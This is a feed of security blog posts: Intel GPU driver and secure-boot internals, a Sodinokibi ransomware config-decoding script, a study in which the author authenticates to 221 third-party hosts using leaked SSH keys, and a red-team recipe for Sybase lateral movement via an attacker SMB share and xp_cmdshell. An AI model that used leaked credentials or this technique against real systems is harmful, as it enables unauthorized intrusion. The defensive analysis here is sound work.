            render_context->FuncTable.RenderEnd                      = func_Gen6RenderEnd;
            render_context->FuncTable.GDIRender                      = func_Gen6GDIRender;
            render_context->FuncTable.BuildPagingBuffer              = func_Gen7BuildPagingBuffer;
            render_context->FuncTable.SubmitCommand                  = func_Gen8SubmitCommand;
            render_context->FuncTable.PreemptCommand                 = func_Gen6PreemptCommand;
            render_context->FuncTable.QueryCurrentFenceIRQL          = func_Gen6QueryCurrentFenceIRQL;
            render_context->FuncTable.IdleHw                         = func_Gen6IdleHw;
            render_context->FuncTable.StopHw                         = func_Gen6StopHw;
            render_context->FuncTable.ResumeHw                       = func_Gen6ResumeHw;
            render_context->FuncTable.GetMDLToGttSize                = func_GetMdlToUpdateGTTCmdSize;
            render_context->FuncTable.UpdateMDLToGtt                 = func_MDLToGttUpdateGttCmd;
            render_context->FuncTable.GetMDLToGttSizeOnePage         = func_GetMdlToUpdateGTTCmdSizeOnePage;
            render_context->FuncTable.UpdateMDLToGttOnePage          = func_UpdateOneGttEntry;
            ...

OCA

OCA is a mechanism that lets drive store device data and send it through windows update back to the driver vendor. There are two cases of failures:

  • Windows thinks there is a problem and the driver needs to be reloaded (TDR). Windows calls DxgkDdiCollectDbgInfo(), a mechanism that lets drive store device data and send it through windows update back to the driver vendor. The Intel GPU driver can add more then 1MB of data through DxgkDdiCollectDbgInfo().
  • In case of a blue screen (bugcheck), KmBugcheckSecondaryDumpDataCallback() is called and the driver passes data to it. After both function the data is converted into an OCA blob using CreateOCAXXXDivision, and it is later uploaded to Microsoft and from there to Intel. The Intel OCA blob contains lots of system and driver information, including what appears to be an Intel specific unique identifier assigned by the driver to the machnine and can be used for tracking.

Conclusion

In this post we learned the basic components of the graphics stack. In the next post on the graphics stack we’ll start looking into security implications.

Analysis of SSH keys found in the wild

8 February 2021 at 05:00

In 2018 I was contracted to help a large organization with a very distributed and remote structure. One of the things that I found was that the organization does not have a strict policy regarding the creation, storage and lifecycle of SSH keys.

I decided to look into this issue in general, so in Feb 2019 wrote a crawler that looked for SSH keys around the web - public repos, s3 bucket with bad permissions, data dumps from companies and so on.

From this I got 4807 keys. Next I wrote a small python script that tried the SSH keys - just autenticate and close the connection, without opening any channels as to not actually access the target systems which would be illegal.

I managed to authenticate into 221 hosts, 5 were FreeBSD, 1 was MacOS, 3 were Linux on ARM64, and the rest were Linux x64. This means I have 221 working keys found on the web and no way to notify their owners they should change their keys.

General interesting statistics:

  • Of the 4807 keys 966 were malformed and 1036 were encrypted (20%). Of the 1036 encrypted I could break 88 passwords using dictionaries and an additional 41 passwords using John-the-ripper on a 3-year old 8-core Xeon workstation after a month of brute-forcing.

  • Sizes (all were SHA256):
    [email protected]:~/keys# for i in id_rsa* ; do ssh-keygen -l -f $i; done | sed 's/:.*//' | sort | uniq -c | sort -n -k 2
        2 1023 SHA256
       37 1024 SHA256
        1 2047 SHA256
     2187 2048 SHA256
        1 3000 SHA256
        1 4048 SHA256
      572 4096 SHA256
        3 8192 SHA256
        1 16384 SHA256
    

    I don’‘t get the wird sizes: 1023-bit, 2047-bit, 3000-bit, and 4048-bit. Anyone have an idea?

  • Encryption type:
    [email protected]:~/enc# grep -h DEK-Info id_rsa* | sed 's/,.*//' | sort | uniq -c
      665 DEK-Info: AES-128-CBC
        2 DEK-Info: AES-256-CBC
       94 DEK-Info: DES-EDE3-CBC
    

    Why still use DES keys?

    for keys that I could not break:

      531 DEK-Info: AES-128-CBC
        2 DEK-Info: AES-256-CBC
       66 DEK-Info: DES-EDE3-CBC
    
  • Distributions (in 2019, from uname)
  • 87 were Ubuntu
  • 38 were RHEL/Centos 6
  • 25 were RHEL/Centos 7
  • 7 were Amazon
  • 5 were RHEL/Centos 5
  • 2 were Debian
  • 2 were CoreOS
  • 1 was Gentoo
  • 1 was Fedore32
  • 2 were armv7l
  • 1 was armv5tel
  • the rest I could not identify from uname -a

  • Most common kernels (in 2019, from uname)
  • 44 were Linux 2.6.x
  • 39 were Linux 4.4.x
  • 28 were Linux 4.15.x
  • 35 were Linux 3.10.x
  • 15 were Linux 3.13.x
  • 13 were Linux 4.9.x

Last week (after two years!) I reran the test against the 221 working keys and 179 still work. To make sure these are not honepots I added to the testing script a checked for the length of the remote .bash_history file, and none seem to be honeypots.

Abusing Sybase for lateral movement

7 February 2021 at 05:00

A few years ago I was asked to help on a red-team exercise in a company doing hardware R&D.

The company had a very strict password policy, and every computer had a randomized local adminsitrator account password and local SMB server disabled.

We managed to gain access to one developer but got stuck there. We did find one thing though: many of the developers had Sybase Adaptive SQL server installed on their systems as it was bundled by default with LabVIEW and Siemens Step 7, both in use by the target.

I installed LabVIEW and tried accessing it through the Adaptive SQL client. Looking through the connect dialog I notice something interesting: one of the options was "Start and connect to a database on another computer":

Sybase connect dialog

When selecting this option you need to specify the DB filename. I tried specifying an SMB server and could and pressed "Connnect". Amazingly, the target computer connected back over an SMB null session to the share I specified. I setup a Samba server that allows anonymous access and placed a DB file I crafted with credentials I specified during creation. This time I managed to connect and execute SQL statments against my server. What was more interesting, the account permissions and roles were set by the DB file and not by the host, so I could setup in advance in my DB to have an administrator role and then I could execute "xp_cmdshell" on the remote host.

We tried this in the field using ssh port forwarding back home on 445 and got access to most developer computers.

Sybase login dialog

This was quiet a few years ago, but looking over the CVE DB for Sybase I don't see any issue that sounds like that, so I guess if you encounter Step7 or LabVIEW during a pentest you now know what to do …

In-depth dive into the security features of the Intel/Windows platform secure boot process

4 February 2021 at 05:00

This blog post is an in-depth dive into the security features of the Intel/Windows platform boot process. In this post I'll explain the startup process through security focused lenses, next post we'll dive into several known attacks and how they were handled by Intel and Microsoft. My wish is to explain to technology professionals not deep into platform security why Microsoft's SecureCore is so important and necessary.

Introduction and System Architecture

We must first begin with a brief introduction to the hardware platform. Skip this if you have read the awsome material available on the web about the Intel architecture, I'll try to briefly summarize it here.

The Intel platform is based on one or two chips. Small systems have one, the desktop and server ones are separated to a CPU complex and a PCH complex (PCH = Platform Controller Hub).

Intel architecture

The CPU complex deals with computation. It holds the "processor" cores, e.g. Sunny Cove that implement the ISA, as well as cross core caches like the L3 cache, and more controllers that are grouped together as "the system agent" or the "uncore". The uncore contains the memory controller and display, e.g. GPU and display controller.

The PCH handles all other IO, including access to the firmware through SPI or eSPI, wifi, LAN, USB, HD audio, SMBus, thunderbolt and etc'. The PCH also hosts several embedded processors, like the PMC, the Power Management Controller.

An additional part of the PCH is a very important player in our story, the CSME, or Converged Security & Management Engine, a i486 IP block (also called Minute IA). CSME is responsibly for much of the security model of Intel processors as well as many of the manageability features of the platform. The CSME block has its own dedicated ~1.5mb of SRAM memory and 128KB of ROM, as well as a dedicated IOMMU, called the A-Unit (that even has its own acode microcode) located in the CSME's uncore', thats allows access from ME to the main memory, as well as DMA to/from the main memory and using the main memory as an encrypted paging area ("virtual memory"). The CSME engine runs a customized version of the Minix3 microkernel, also recent versions have changed it beyond recognition adding many security features.

CSME structure

Buses

Lets use this post to also introduce the main interconnects in the system. The main externally facing interconnect bus is PCI-E, a fast bust that can reach 64GBps in its latest incarnations. A second external bus is the LPC, or Low Pin Count bus, a slow bus for connecting devices such as SPI flash, the TPM (explained below), and old peripherals such as PS/2 touchpads.

Internally the platform is based around the IOSF, or Intel On-chip System Fabric, which is a pumped up version of PCI-E that supports many additional security and addressing features. For addressing IOSF adds SourceID and DestID fields that contain the source and destination of any IOSF transaction, extending PCI-E Bus-Device-Function (BDF) addressing to enable routing over bridges. IOSF also extends addressing by adding support for multiple address root namespaces, currently defining three: RS0 for host memory space, RS1 for CSME memory space, and RS2 for the Innovation-Engine (IE), another embedded controller currently present only on server chipsets. There are two IOSF busses in the PCH - the Primary Fabric and the Sideband Fabric. The Primary Fabric is high speed, connecting the CPU to the PCH (through a protocol call DMI), as well as high speed devices such as Gigbait Ethernet, WiFi and eSPI. The Sideband Fabric is used to connect the CSME to low-speed devices, including the PMC (Power Management Controller), the RNG generator, GPIO pins, USB, SMBus, and even debugging interfaces such as JTAG.

More Components

Another interesting component is the ITH, or Intel Trace Hub, which is codenamed North Peak (NPK). The ITH can trace different internal hardware component (VIA - Visualization of Internal Signals, ODLA - On-chip logic analyzer, SoCHAP - SOC performance counters, IPT - Intel Process Trace, AET - Intel Architecture Trace), and external component like CSME, the UEFI firmware, and you can even connect it to ETW. This telemetry eventually finds its way to Intel in various methods.

Intel Trace Hub

The TPM is designed to provide a tamper proof environment to enforce system security through hardware. It implements in hardware many essential functions: sha1 & sha256 hashing algorithms, many crypto and key derivation functions, measurment registers call the Platform Configuration Registers (PCRs), a secret key - Endorsment Key - used to derive all other keys, and non-volatile storage slots for storing keys and hashes. Discrete TPM chips (i.e. those that are a separate chip on the mainboard or SOC and connected through the LPC) are call dTPMs, or can be implemented in the CSME module's firmware and called fTPMs.

The TPM's PCR are initialized to zero when the platform boots and are filled up with measurements through the boot process. PCRs 0-15 are intended for "static" use - they reset when the platform boots; They are supposed to give the OS loader a view of the platform initialization state. PCRs 17-22 are for "dynamic" use - they get reset on each secure launch (GETSEC[SENTER]); They are supposed to be used by the attestation sofware that checks if the OS is trusted.

The Flash Chip

SPI flash has 5 major regions: the Descriptor regions, the CSME region, the Gigabit Ethernet Region, the Platform Data Region, and the UEFI region. In the image below you can see an example of how the flash is organized.

Partition regions in SPI flash Serial flash sizes

Later versions added more regions:

SPI region evolution

These regions are categorized as fault tolerant (FTPs) and non fault tolerant partitions (NFTPs). Fault tolerant partitions are critical for boot, and verified during early boot (like the RBE, the CSME ROM Boot extensions will discuss in a few paragraphs). If verification fails - the system does not boot. Examples of non fault tolerant partitions are the Integrated Sensor Hub (or ISH) firmware.

SPI flash protection is applied at multiple levels: On the flash chip itself, in the SPI flash controller (in the PCH), in UEFI code and in CSME code.

The SPI controller maps the entire flash to memory at a fixed address, so reads/writes are usually done simply by reading/writing memory. The SPI controller translates this to flash-specific commands issued on the SPI bus, using a table of flash-specific commands stored in the flash descriptor region. This is called "Hardware Sequencing", meaning the SPI controller issues the actual SPI commands When hardware sequencing is in use, the SPI controller enforces several flash protections based on the masters region table in the flash (but can be overriden using a hardware PIN).

The SPI controller also implements a FLOCKDN flag. FLOCKDN is a write-once bit that, when set, disables use of software sequencing and modification of the PR registers until the next reset. The CSME sets this in the Bring-UP process (bup_storage_lock_spi_configuration(), see below). This happens when the UEFI notifies it that it is at the end of POST. In addition to the region access control table, the SPI controller also has an option to globally protect up to five regions in the flash from write access by the host using five registers, called Protected Registers (PRs), which are intended for the UEFI firmware to protect itself from modification while the OS is running.

It is also possible to issue direct flash commands using "Software Sequencing" by writing to the OPTYPE/OPMENU registers, since this can be used circumvent the SPI-enforced protections, software sequencing is usually disabled after POST using the FLOCKDN bit.

How is the flash updated?

UEFI region is updated through an UEFI capsule, This update happens during POST, before PRs and FLOCKDN is set, therefore, the BIOS region is still accessible to UEFI code.

Many OEMS have then own UEFI anti-tamper protections. For example, HP has SureStart on laptops and workstations, and Dell has TrustedDevice SafeBIOS. SafeBIOS copies bad firmware images to the EFI system partition, and the Dell Trusted Device software on Windows sends their hashes plus the hash of the UEFI firmware currently in memory to a Dell cloud server (*.delltrusteddevicesecurity.com) to check against a list of "authorized" hashes. Server platforms have similiar protections, including iLO for HP and iDRAC in Dell. The CSME region can usually be updated only from within the CSME. However, for more complicated upgrades CSME can temporarily unlock the ME region for host read & write.

Overview

In the next sections we'll look over all the stages of boot. Serial flash sizes

Early power on

Boot starts the PMC, the Power Management Controller. In modern Intel systems the PMC is an ARC core and its the first controller to execute code once electricity is applied to the system. We'll talk more about PMC in a later post as its quiet interesting and has its own microcode and firmware, and event generates telemetry over the IOSF SB bus (which we'll talk about in a moment).

While the PMC does its init, the rest of the system is held at bay at a RESET state.

The next part to start running is the CSME. Recall from the first post in the series, CSME, or Converged Security and Managment Engine is a MinuteIA (i486 CPU IP block) embedded in the Platform Controller Hub (PCH). The CSME begins running from its own embedded 128KB ROM - the CSME-ROM. This ROM is protected with a hardware fuse that is burned by Intel during production. When started the CSME ROM starts like a regular 486 processor BIOS - in the reset vector in real mode. Its first order of business is to enable protected mode. Next it checks if the system is configured in ROM bypass mode to assist debugging, if so maps the ROMB partition in SPI and starts executing from there - a mode call ROM bypass mode which we might dig into later. Next the CSME's SRAM is initialized and a page table is created mapping SRAM and ROM and then paging is enabled. Once basic initialization is out of the way CSME can switch to C code that does some more complex initialization: initiating the IOMMU (AUnit), the IACP and hardware crypto keys which are calculated from fixed values in hardware. Finally, the DMA engine is used to read the next stage, called the Rom Boot Extension, or RBE, from the system firmware flash through SPI, and verifies it against the cryptographic keys prepared earlier. CSME ROM uses a special table, the Firmware Interface Table, or FIT, a table of pointers to specific regions in the flash and is itself stored in a fixed flash address.

The RBE's job is to load the CSME OS kernel and verify it cryptographically. This process is optimized by using a mechanism called ICV, or Integrity-Check Values, hardware cached verified hashes - as long as the CSME kernel has the same hash it does not require crypto verification. Another check performed by the RBE is an anti-rollback check, making sure that once the CSME has been upgraded to a new version it cannot be downgraded back to the original version. Before starting the main CSME kernel the RBE loads pre-OS modules. An example pre-OS module is IDLM, which can be used to load debug-signed firmware on a production platform.

The kernel starts by enabling several platform security features: SMEP, Supervisor Mode Access Prevention, prevents exploits from running mapped kernel memory from ring3, and DEP, Data Execution Prevention, which prevents exploits from running code from stack regions. It also generates per-process syscall table permissions, aswell as ACL and IPC permissions.

Bring-Up (BUP)

Once everything is ready the kernel loads the Process Manager which executed "IBL processes", which includes Bring-Up (BUP) and the Loader. The BUP loads virtual file system, or VFS server, parses the init script of the FTPR partition and loads all IBL modules listed there. This includes: the Event Dispatcher Server (eventdisp) - service that allows publishing, registering and acknowledging receipt of named events (sort of DBUS), the Bus Driver (busdrv) - a driver that permits other drivers to access devices on the CSME's internal bus, the RTC driver (prtc), the Crypto/DMA driver (crypto) - provices access to services offered by the OCS hardware (SKS, DMA engines), the Storage driver (storage) - which provides access to the MFS filesystem, the Fuse driver (fpf) and finally the Loader Server (loadmgr).

As seen in the image below, this is the stage where the CPU finally begins execution.

CPU initialization

Once the CSME is ready it releases the main CPU from the RESET state. The main CPU loads microcode from the FIT table and sets it up (after CSME verified the uCode cryptographically) . I won't go into details about microcode, also called uCode, here as I have a full post planned on microcode later. Whats important to know is that microcode does not only include the "implementation" of the instruction set architecture (ISA), but also many routines for intilization, reset, paging, MSRs and much mich more. As part of CPU initialization it loads another module from the FIT, the Authenticated Code Module (ACM). The ACM implements BootGuard, a security feature to check cryptographically verify the UEFI signature before it is loaded (once called "AnchorCove"). This begins the Static Root Of Trust Model (SRTM), where CSME ROM verifies the CSME, which verifies the microcode, which verifies the ACM, which verifies the UEFI firmware, which verifies the operating system. This is done by chaining their hashes and storing them in the TPM. The ACM also initializes TXT, the Dynamic Root of Trust Model (DRTM) which we will detail in a few paragraphs.

UEFI initialization

UEFI Initialization stages

Once the CPU completes initialization, the Initial Boot Block (IBB) of the UEFI firmware is executed. The startup ACM authenticates parts of the FIT and the IBB using the OEM key burned into the fuses, authenticates it and measures it into PCR0 in the TPM. PCR0 is also referred to as the CRTM (Core Root of Trust Measurement)

The first stage of IBB is SEC which is responsible for very early platform initialisation, and loading the UEFI secure boot databases from non-volatile (NV) storage (these keys have various names such as PK, KEK, DB, DBX). Next comes PEI core, or "main" module of the Pre EFI initialization. It loads several modules (PEIMs) that initialiaze basic hardware such as memory, PCI-E, USB, basic graphics, basic power managment and more. Some of this code is implemented by the UEFI vendors or OEMs, and some come from Intel in "FSPs", Firmware Support Packages, which perform "Silicon Initialization". Common UEFI firmwears can have as many as a 100 PIE modules.

The UEFI spec does not covers signature/authentication checks in PEI phases. Thats why Intel needed BootGuard to do the bootstrapping: At power-on, BootGuard measures the IBB ranges which include PEI.

Following PEI the Driver Execution Environment is loaded by a security PEI module which verifies their integrity cryptographically beforehand. DXE is responsible for setting up all the rest of the hardware and software execution environment in preparation for OS loading. It also setups System Management Mode (which we'll talk about soon), sensors and monitoring, boot services, real-time clocks and more. A modern UEFI firmware can have as much as 200 different DXE drivers installed.

Many OEMs use BootGuard to authenticate DXE as well by configuring the IBBs to include the entire PEI volume in the flash (PEI Core + PEI modules) and the DXE Core. Secure Boot is used to verify each PEI/DXE image that is loaded before executing it. These images are measured and extended into the TPM's PCR0 as well.

The DXE environment initializes two important tables: the EFI Runtime services table and the EFI Boot Service Table. Boot Services are used by the operating system only during boot and discarded thereafter. These include memory allocation services and services to access DXE drivers like storage, networking and display. Runtime services are kept in memory for use by the operating system whenever required, and include routines for getting and setting the value of EFI variables, clock manipulation, hardware configuration, firmware capsule updates and more.

Finally the UEFI firmware measures the platform (e.g. chipset) security configuration (NV variables) into PCR1 and then locks them by calling a function in the ACM.

UEFI boot stages

Loading the boot loader

The final driver to be loaded by DXE is the Bood Device Selection module or BDS. BDS scans its stored configuration, comparing it with the currently available hardware and decides on a boot device. This gets executed in legacy boot and non secureboot systems. In SecureBoot mode another DXE component called the SecureBootDXE is loaded to authenticate the OS boot loader. The cryptographic key used is stored in DXE and verified as part of BootGuard. SecureBootDXE also compares the boot loader agains a signed list of blacklisted or whitelisted loaders.

Windows Boot

Now we are ready for Transient System Load (TSL), most of DXE gets discarded and the OS bootloader is loaded. The bootloader (called the IPL) is measured into PCR4 and control is transfered to it. For Windows this is bootmgrfw.efi, the Windows Boot Manager. It first initialzes security policies, handles sleep states like hibernation, and finally uses EFI boot services to load the Windos loader, winload.efi.

Winload

Winload initializes the system's page tables in preparation for loading the kernel, loads the system registry hive, loads the Kernel and the Hardware Abstraction Layer (HAL DLL) and early boot drivers. They are all authenticated cryptographically, and their measurement are stored into the TPM. Once thats done, it uses UEFI memory services to initialze the IOMMU. Once everything is loaded into its correct place in memory, the EFI boot service are discarded.

HVCI

When HVCI, or HyperVisor protected Code Integrity is enabled a different process occurs. Winload does not load the kernel, instead loading the Hypervisor loader (hvload.efi), which in turn loads the hypervisor (hvix64.exe), and sets up a protected virtual machine called VTL1 - Virtual Trust Level 1. It then loads the Secure Kernel (SK) into VTL1, and then setups VTL0, the untrusted level for the normal kernel. Now winload.efi is resumed within VTL0 and continues to boot the system within VTL0. The secure kernel continues running in the background providing security features like authentication as well as memory protection services for VTL0.

Its important to note that the hypervisor and secure kernel do not trust UEFI, and do not initiate any UEFI calls while running. Any future UEFI runtime service calls will be executed from within the VTL0 virtual machine thus protected from harming the hypervisor and secure kernel.

The regular OS kernel boot then continues in VTL0. Malicous UEFI and driver code cannot affect the hypervisor or the secure kernel. Malicious drivers can and will continue to attack user mode code in VTL0, but they must be signed by Microsoft and thus can be analyzed before being approved or blocked quickly if a bug/exploit is found.

Dynamic Root of Trust Model (DRTM)

The whole security model presented so far is based on a chain of verifications. But what happens if that chain is broken by a bug? UEFI implementations have many security bugs, and those will affect the security of the whole system. To alleviate this issue Intel and Microsoft developed the Dynamic Root of Trust Model (DRTM), available since Windows 10 18H2. In DRTM, winload starts a new load verification chain using an Intel security feature called TXT. TXT measures critical parts of the OS during OS loading. The process is initiated by the OS executing a special instruction - GETSEC[SENTER], implemented in microcode, which results in the loading, authentication and execution of an ACM called the Secure Init ACM (SINIT ACM). The ACM can be on the flash, or can be supplied by the OS with the GETSEC instruction.

DRTM Model

The GETSEC-SENTER microcode flow clears PCR17-23, does an initial measurement into PCR17 that includes the SINIT ACM and the parameters of the GETSEC instruction and executes the SINIT ACM. SINIT measures additional secure-launch related stuff into PCR17 which includes the STM (if present), digest of Intel Early TXT code and matching elements of the Launch Control Policy (LCP). The LCP checks the platform is in a known-good state by checking PCRs 0-7, and that the OS is in a known-good state by checking PCRs 18-19. Next SINIT measures authorities involved up to now into PCR18 (the measurement is of the authority (e.g. the signer/key) and not the data to allow for upgrades).

The OS now continues to load and use the PCRs for attestation telemetry.

SecureBoot + DRTM + BitLocker (Windows uses PCRs 7 and 11 for Secure Boot based BitLocker) make sure the system is almost impervious to attacks.

The Windows secure boot process is implemented in an executable call tcblaunch.exe, TCB - Trusted Compute Base. This is the executable the SINIT ACM measures and launches. The reason tcblaunch.exe was inevented is that data generated from within tcblaunch is considered secure, while data generated from winload can be tainted. A funny artifact of the MLE launch process is caused by the fact that it is 32-bit, but tcblaunch.exe is 64-bit. Microsoft hacked this by providing a 32-bit mlestartup.'exe binary inside the MSDOS header region of the MZ/PE file.

Windows MLE + HV

UEFI Memory Attributes Table

As stated before, Windows wants to run the UEFI runtime services in VTL0. By default the OS cannot lock these memory pages to be W^X (only write or only execute, not both) because many old UEFI systems still mix code and data. Microsoft solves this by introducing a new UEFI table, the UEFI Memory Attributes Table (MAT), which specifies if the runtime service should execute from VTL0 (by marking the memory region as EFI_MEMORY_RO|EFI_MEMORY_XP), or must run with RWX protections. Since this is a gaping whole, the UEFI runtime's parameters are santized using a VTL code - and this is enabled only for a restricted subset of runtime calls).

Other OSs

[IMAGE]

Some Linux distrubutions use Intel TBOOT implementation for DTRM launch. VMware ESXi support DRTM and TXT from version 6.7U1 using a customized version of TBOOT, and attastation information is managed through VSphere.

[ IMAGE]

More Protections

IOMMU and DMA protections

DMA is a platform feature that allows hardware to write directly to main memory bypassing the CPU. This greatly enhances performance, but comes with a security cost: hardware can overwrite UEFI or OS memory after it has been measured and authenticated. This means malicous hardware can attack the OS after boot and tamper with it.

To solve this problem the memory managment controller of the platform was extended to protect IO, and called the IOMMU. Intel calls this technology VT-d, and it implements address paging with permissions for DMA. The IOMMU allows the OS and its drivers to setup the memory regions devices are allowed to write to. Another protection mechanism in IOMMU used by the UEFI firmware and later the OS is Protected Memory Regions, or PMRs. These define regions that can only be accessed from the OS on the CPU and never by devices through DMA. The IOMMU must be enabled very quickly early in boot to protect from malicous on-board firmware attacking before the OS loads.

To ensure the mechanism for setting up the PMRs is not tampered with it too is measured, including the IOMMU ACPI table, the APIC table, the RAM structure definition, and DMA protection information.

Windows uses the IOMMU and PMRs to protect itself since Windows 10 18H2, and calls this feature Kernel DMA Protection. The Kernel DMA protection prevents DMA to VTL1, hypervisor and VTL0's kernel regions. Microsoft also allows special implement

There is an undocumented feature in the kernel used by Graphics/DirectX to allow sharing the kernel's virtual memory address space with the graphics card (Device-TLB, ExShareAddressSpaceWithDevice()).

Secure Devices

Microsoft allows some device to be isolated from VTL0 and used only from code in VTL1 to protect sensitive information used for logon, like the face recognition camera and fingerprint sensors. Secure devices discovered using ACPI table "SDEV" (SDEV_SECURE_RESOURCE_ID_ENTRY, SDEV_SECURE_RESOURCE_MEMORY_ENTRY).

Secure devices can be either pure-ACPI devices or PCI devices. Both can be targets for DMA requests

It seems the drivers for secure devices are actually VTL1 user-mode processes that call basic functions in IUMBASE to communicate with the device (DMA, read/write PCI configuration space, do memory-mapped IO), for example: GetDmaEnabler / DmaMapMemory / SetDmaTargetProperties / MapSecureIo / UnmapSecureIo

SMM

SMM, or the System Managment Mode, is a special mode invoked to handle various hardware and software interrupts, and is implemented as part of the UEFI firmware. For example, SMM can simulate a PS/2 keyboard by handling keyboard interrupts and translating them into USB read/write. When a legacy application performs an IO IN/OUT operation on a PS/2 port, the SMI handler registered for that port is executed, transfers the system into SMM mode, runs the DXE USB keyboard driver, and then returns the result transparently. SMM is also used for security features by allowing certain actions to occur only from SMM. The caveat of SMM is that it has full access to the system, and operates in "ring -2", even higher then VTL-1 and the hypervisor. It has been used for attacks for many years (look in google for NSA's SOUFFLETROUGH).

Intel & Microsoft have developed three technologies to protect the OS from SMM: IRBR, STM, PPAM.

IRBR, or Intel Runtime BIOS Resilience, runs the SMI handler in protected mode with paging enabled, with a page table set up to only map SMRAM, as well as CPU protection to prevent changes to the paging table in SMM mode.

STM - SMM Transfer Monitor, means that most of the SMI handler virtualized, with only a small part called the STM serving as its hypervisor. I don't think is actually implemented in UEFI.

PPAM - also called Nifty Rock or Devil's Gate Rock, tries to fill the gap between IRBR and STM by prepending an Intel entry-point to the SMI handler. Intel supplies a signed module called PPAM that can measure certain attributes of the SMI handler and report them to the OS. The OS can then make a policy decision on how to proceed. All SMI handler must also be registered in a table called the WSMT table. The firmware's WSMT tables declares to the OS that the firmware guarantees three things: FixedCommBuffers - a guarantee that the SMM will vaildate that the input/output buffers of the operation, CommBufferNestedPtrProtection that extends this guarantee to any pointers within input/output structures, and SystemResourceProtection that indicated that the SMI handler will not reconfigure the hardware.

Memory Reset protections

After a warm boot or even a fast cold boot some secrets (keys) might remain in memory. Intel provides security for these secrets using special TXT Secrets registers.

Starting a blog at this time

1 February 2021 at 05:00

Is this a good time to start a new cyber security blog?

I have been working in cybersecurity for quite some time, but have always been afraid of writing publicly about my work: afraid of being publicly rediculed for my work, afraid of my english proficiency and afraid in general.

When I finally got the curage to start the North Korean blog thing happened, litterally a half hour before starting, throwing me way down.

But finally I decided to go anyway.

I’ll be posting a lot of my backlog in the next few weeks, including: the Intel PC boot process, intel uCode stuff, expereicnes as a blue teamer.

Lets hope someone somewhere ever reads these words.

Too-doo-loo, Igor

Project Sodinokibi

29 October 2020 at 08:59
By: Kartone

Learning Python

Project Sodinokibi

Python is the language I always wanted to learn. I tried but failed every single time, don't know exactly why. This time was different though, I knew from the first line of code. So, with a little push of a dear friend of mine (thanks Elio!), I tried to investigate how to decode Sodinokibi ransomware configurations for hundreds, maybe thousands, of samples. I intended to understand, using powerful insights from VirusTotal Enterprise API, if there are relationships between Threat Actor, mapped inside the ransomware configuration, and the country visible from the VirusTotal sample submission.
I am perfectly aware that it's not as easy as it seems: the ransomware sample submission's country, visible from VirusTotal, may not be the country affected by the ransomware itself. But, in one case of another, I think there could be somehow a link between the two parameters: maybe from the Incident Response perspective.

Getting the samples

My first step was to get as many samples as I could. My first thought was to use VirusTotal API: I'm lucky enough to have an Enterprise account, but the results were overwhelming and, due to the fact I was experimenting with Python, the risk of running too many requests and consume my threshold was too high. So I opted to use another excellent malware sharing platform: Malware Bazaar by Abuse.ch

All the code is available here

downloaded_samples = []
data = { 'query': 'get_taginfo', 'tag': args.tag_sample, 'limit': 1000 }
response = requests.post('https://mb-api.abuse.ch/api/v1/', data = data, timeout=10)
maldata = response.json()
print("[+] Retrieving the list of downloaded samples...")
	for file in glob.glob(SAMPLES_PATH+'*'):
        filename = ntpath.basename(os.path.splitext(file)[0])
        downloaded_samples.append(filename)
    print("[+] We have a total of %s samples" % len(downloaded_samples))
    for i in range(len(maldata["data"])):
        if "Decryptor" not in maldata["data"][i]["tags"]:
            for key in maldata["data"][i].keys():
                if key == "sha256_hash":
                    value = maldata["data"][i][key]
                    if value not in downloaded_samples:
                        print("[+] Downloading sample with ", key, "->", value)
                        if args.get_sample:
                            get_sample(value)
                        if args.clean_sample:
                            housekeeping(EXT_TO_CLEAN)
        else:
            print("[+] Skipping the sample because of Tag: Decryptor")

This block of code essentially builds the request for the back-end API where the tag to search for comes from the command line parameter. I defaulted it to Sodinokibi. It then creates a list of samples already present in the ./samples directory not to download them again. Interestingly, because there are many Sodinokibi decryptors executables on the Malware Bazaar platform, I needed some sort of sanitization not to download them. When it founds a sample not present inside the local directory, It then calls the function to download it.

def get_sample(hash):
    headers = { 'API-KEY': KEY } 
    data = { 'query': 'get_file', 'sha256_hash': hash }
    response = requests.post('https://mb-api.abuse.ch/api/v1/', data=data, timeout=15, headers=headers, allow_redirects=True)
    with open(SAMPLES_PATH+hash+'.zip', 'wb') as f:
        f.write(response.content)
        print("[+] Sample downloaded successfully")
    with pyzipper.AESZipFile(SAMPLES_PATH+hash+'.zip') as zf:
        zf.extractall(path=SAMPLES_PATH, pwd=ZIP_PASSWORD)
        print("[+] Sample unpacked successfully")

A straightforward function: builds the API call, gets the zipped sample, unpack, and saves it inside the directory ./samples. Note that the sample filenames are always their SHA-256 hash. After unpacking it, I made a small housekeeping function to get rid of the zip files.

def housekeeping(ext):
    try:
        for f in glob.glob(SAMPLES_PATH+'*.'+ext):
            os.remove(f)
    except OSError as e:
        print("Error: %s - %s " % (e.filename, e.strerror))

This is what happens when you run the script.

Getting insights on ransomware configuration

Now it's time to analyze these samples to get the pieces of information we need. The plan is to extract the configuration from an RC4 encrypted configuration stored inside a PE file section. Save ActorID, CampaignID, and executable hash. With the latter, we then query VirusTotal API to get insights for the sample submission: the City and the Country from where the sample was submitted and when there was the submission. As I wanted to map these pieces of information on a map, with OpenCage API I then obtained cities coordinates of the submissions.

The code to build the API calls and parse the response JSON is rough, shallow and straightforward I would not go with it. I'm sure there are plenty of better ways to do its job, but...it's my first time with Python! So bear with me, please. What I think it's interesting is the function that extracts and decrypts the configuration from the ransomware executable PE file. These are the lines of code that do this task:

excluded_sections = ['.text', '.rdata', '.data', '.reloc', '.rsrc', '.cfg']

def arc4(key, enc_data):
    var = ARC4.new(key)
    dec = var.decrypt(enc_data)
    return dec

def decode_sodinokibi_configuration(f):
    filename = os.path.join('./samples', f)
    filename += '.exe'
    with open(filename, "rb") as file:
        bytes = file.read()
        str_hash = hashlib.sha256(bytes).hexdigest()
    pe = pefile.PE(filename)
    for section in pe.sections:
        section_name = section.Name.decode().rstrip('\x00')
        if section_name not in excluded_sections:
            data = section.get_data()
            enc_len = struct.unpack('I', data[0x24:0x28])[0]
            dec_data = arc4(data[0:32], data[0x28:enc_len + 0x28])
            parsed = json.loads(dec_data[:-1])
            return str_hash, parsed['pid'], parsed['sub']
            #print("Sample SHA256 Hash: ", str_hash)
            #print("Actor ID: ", parsed['pid'])
            #print("Campaign ID: ", parsed['sub'])
            #print("Attacker's Public Encryption Key: ", parsed['pk']) 

Disclaimer: these lines are, obviously, not mine. I modified the script provided by the guys of BlackBerry ThreatVector. I invite you to read where they explain how the configuration is stored within the section, where's the RC4 encryption key and how to decrypt it.

